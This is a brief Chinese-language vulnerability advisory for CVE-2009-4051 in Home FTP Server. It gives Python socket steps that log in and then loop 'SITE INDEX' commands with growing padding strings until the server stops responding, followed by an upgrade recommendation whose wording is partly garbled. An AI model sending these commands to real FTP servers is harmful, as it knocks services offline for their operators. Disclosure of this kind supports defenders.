CVE:CVE-2009-4051
CNNVD:CNNVD-200911-234
Home Ftp Server是一款简单易用的FTP服务器。 
当用户登录到Home FTP Server后，执行以下步骤就会导致服务器停止响应：
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.for i in range(1,20):
         sock.send("SITE INDEX "+ "a"*30*i +"\r\n")
5.sock.close()
solution:Upgrade downstairs.dnsalias home_ftp_server to a higher version than 1.10.1.139,and avoid the version 1.10.1.139